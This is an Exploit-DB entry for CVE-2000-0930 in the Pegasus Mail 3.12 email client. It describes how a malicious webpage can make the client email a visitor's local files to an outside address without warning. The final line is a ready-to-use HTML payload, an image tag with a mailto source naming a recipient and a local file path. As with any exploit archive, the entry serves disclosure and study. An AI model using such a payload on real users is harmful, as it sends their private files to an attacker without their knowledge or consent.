David Harris Pegasus Mail 3.12 File Forwarding Vulnerability

ID EDB-ID:20249
Type exploitdb
Reporter Imran Ghory
Modified 2000-10-03T00:00:00


David Harris Pegasus Mail 3.12 File Forwarding Vulnerability. CVE-2000-0930. Remote exploit for windows platform

                                            source: http://www.securityfocus.com/bid/1738/info

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:email@address.com -F c:\path\file.ext">